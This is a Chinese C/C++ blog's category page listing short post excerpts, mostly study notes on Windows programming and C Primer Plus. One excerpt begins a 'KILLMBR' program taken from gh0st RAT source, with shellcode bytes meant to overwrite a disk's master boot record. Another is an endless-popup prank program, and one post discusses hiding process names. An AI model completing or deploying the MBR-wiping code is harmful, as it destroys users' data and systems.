随笔分类 -  C/C++

摘要:赫 21:48:16请教个问题赫 21:49:53类声明前对私有继承的结构,的struct定义是什么作用?类声明前对该类私有继承的结构,的struct定义是什么作用?赫 21:51:21structlibvlc_instance_t;structlibvlc_media_player_t;classCAVPlayer{public://......private:libvlc_instance_t*m_pVLC_Inst;libvlc_media_player_t*m_pVLC_Player;};风雨无阻 21:54:54应该是这里要用到这两个类型,所以在前面做一下前向声明。应该不是私有继承吧 阅读全文
posted @ 2014-01-09 22:23 残雪孤侠 阅读(423) 评论(0) 推荐(0)
摘要:接上一篇这次是验证Open*(本文使用OpenMutex函数)的命名对象在继承中安全属性的传递 SECURITY_ATTRIBUTES sa; //设置句柄安全性 sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; HANDLE hMutex1 = CreateMutex(&sa, FALSE, TEXT("JeffObj")); //创建对象句柄1 HANDLE hMutex2 = OpenMutex(MUTEX_ALL_ACCESS, FAL... 阅读全文
posted @ 2013-12-17 22:12 残雪孤侠 阅读(545) 评论(0) 推荐(0)
摘要:windows核心编程 第5版 48页 下半部写道进程B调用CreateMutex时,它会向函数传递安全属性信息和第二参数。如果已经存在一个指定名称的对象,这些对象就会被忽略于是我通过代码来验证这句话注意 第47页这个函数调用创建一个新的互斥量内核对象,并将其命名为“JeffMutex”。注意,在进程A的句柄(表)中,hMutexProcessA并不是一个可继承的句柄-但是通过为对象命名来实现共享时,是否可以继承并非一个必要条件。 HANDLE hMutex1 = CreateMutex(NULL, FALSE, TEXT("JeffObj")); //创建命名对象句柄1 阅读全文
posted @ 2013-12-17 21:40 残雪孤侠 阅读(283) 评论(0) 推荐(0)
摘要:求出所有100以下整数与一位小数相乘等于相加的浮点数这个有Bug浮点数计算时精度会出现误差除非使用非常精确的类型或限制浮点的位数比如#include int main(){ using std::cout; using std::endl; unsigned int a = 0; double b; double temp; while (a <= 100) { b = 0; while (b < 100) { temp = 0; while (temp < 1) ... 阅读全文
posted @ 2013-12-01 16:38 残雪孤侠 阅读(912) 评论(0) 推荐(0)
摘要:在一个技术QQ群里围观有人求怎么样隐藏进程名另外一个朋友告诉他标题栏为空可以隐藏然后又有一人问如果进程名为空呢?没有人回答经过尝试,发现标题栏为空确实可以隐藏程序在windows应用程序管理器里显示但是进程名为空,百思不得其姐现在感觉不能自定义命名进程,因为进程是执行的程序,而执行的程序一般以.exe为后缀名,我的初始想法是设置空进程名,但是现在感觉不可能师傅:都是不及格的方案~应该走内核~其它资料:http://joychou.sinaapp.com/index.php/archives/82/ 阅读全文
posted @ 2013-12-01 16:35 残雪孤侠 阅读(285) 评论(0) 推荐(0)
摘要:今天下午在看c++ primer plus时遇到一个疑问请教个问题,一个类的2个类方法声明为为什么没有产生重定义错误?double & operator[](int i);double operator[](int i) const;比如class Student {....public:double & operator[](int i);double operator[](int i) const;...};student ada[3];ada[1] = ada[3];会不会产生二义性?不明白,,,,,,,,经过网络提问,总结之后得出答案double & opera 阅读全文
posted @ 2013-11-14 13:09 残雪孤侠 阅读(122) 评论(0) 推荐(0)
摘要:// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"int _tmain(int argc, _TCHAR* argv[]){ _wsetlocale(LC_ALL, L"chs"); //支持中文本地化 TCHAR szBuffer[10] = { TEXT('-'),TEXT('-'),TEXT('-'),TEXT('-'),TEXT('-'), TEXT('-'),TEXT(&# 阅读全文
posted @ 2013-07-14 19:04 残雪孤侠 阅读(1175) 评论(3) 推荐(0)
摘要:// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"int _tmain(int argc, _TCHAR* argv[]){ _wsetlocale(LC_ALL, L"chs"); //支持中文本地化 TCHAR szBuffer[10] = { TEXT('-'),TEXT('-'),TEXT('-'),TEXT('-'),TEXT('-'), TEXT('-'),TEXT(&# 阅读全文
posted @ 2013-07-14 18:54 残雪孤侠 阅读(449) 评论(0) 推荐(0)
摘要:/*//KILLMBR.c源自gh0st远控3.6版的源码中对版权保护的硬盘锁,只做了少量修改通过这一篇文章了解 http://blog.csdn.net/qiurisuixiang/article/details/7314882 2013/7/11 by赫*/#include "stdafx.h"int KillMBR() ;unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\x 阅读全文
posted @ 2013-07-12 01:50 残雪孤侠 阅读(1209) 评论(0) 推荐(1)
摘要:#include "stdafx.h"int WINAPI _tWinMain(HINSTANCE hInstanceExe, HINSTANCE, PTSTR pszCmdLine, int){ HWND hWnd = GetDesktopWindow(); while(1){ ::MessageBox(hWnd, _T("FUCK YOU"), _T("整蛊程序"), MB_OK); } return(0);}MessageBox弹出窗口,while(1),无限循环执行 阅读全文
posted @ 2013-07-11 20:13 残雪孤侠 阅读(268) 评论(0) 推荐(0)
摘要://读取unicode文件,并清除记录的垃圾文件//参数1:日志文件路径bool ReadFilePath(const wchar_t *DataFilePath){ wchar_t ChBuffer = L'\0'; //将要从文件读取的单个字符 wchar_t CleanFilePath[256] = L"\0"; //将要清除的垃圾文件路径 DWORD ReadNumber = 0; //已经读取的路径拥有的字符数量 DWORD dwReadSize = 100;//已经读取多少数据 HANDLE handle_File = CreateFile(Da 阅读全文
posted @ 2013-07-04 13:23 残雪孤侠 阅读(989) 评论(1) 推荐(1)
摘要:用VS编译后改后缀名为scr,放到屏保目录// Rain.cpp : 定义控制台应用程序的入口点。//#include “stdafx.h”#include #define ID_TIMER 1 #define STRMAXLEN 25 //一个显示列的最大长度 #define STRMINLEN 8 //一个显示列的最小长度 LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ; ////////////////////////////////////////////////////////////////// /////... 阅读全文
posted @ 2013-06-29 22:11 残雪孤侠 阅读(7150) 评论(0) 推荐(0)
摘要:特别注意可恶的\n啦,为什么最后ch的值会变?求助!!!可恶可恶啊http://tieba.baidu.com/p/1429836706include<stdio.h>#include<stdbool.h>int main(void){ int w=1; float s; char ch; bool is,z; while(w) { for(is=true;is==true;) { z=true; printf("***************\n"); printf("请输入下列字母\n"); printf("a)朝鲜 阅读全文
posted @ 2012-07-21 17:09 残雪孤侠 阅读(242) 评论(0) 推荐(0)
摘要:1、printf("%s! c is cool!\n","%s! c is cool!\n");#include <stdio.h> #define FORMAT "%s! C is cool!\n" int main(void) { int num=10; printf(FORMAT,FORMAT); return 0; }输出为%s!C is cool! !C is cool!将#define FORMAT "%s!C is cool!\n"代入程序得到:printf(FORMAT,FORMAT); 阅读全文
posted @ 2012-07-21 16:55 残雪孤侠 阅读(433) 评论(1) 推荐(0)
摘要:额,入门级的,收集我在学这本书时犯的一些小问题,和一些容易被忽略的东西。同时对发明出笔记本触摸板的那位前辈表示鄙视之情。鄙人比较笨以前犯的问题比较多,我整理的比较慢。。。。。。。。。。。我会在复习c primer plus的同时完成,同时为下一步深入学习C语言和学习数据结构做准备第4章1、printf()把%f,%e,%E,%g,%G.同时用于float类型和double类型而scanf()只把它们用于float类型,而用于double类型时要求使用“l”(L)修饰符78页页尾、scanf最大字段宽度可限制输入scanf修饰符: digit(s)最大字段宽度;在达到最大字段宽度或者遇到第一个空 阅读全文
posted @ 2012-07-21 14:51 残雪孤侠 阅读(220) 评论(0) 推荐(0)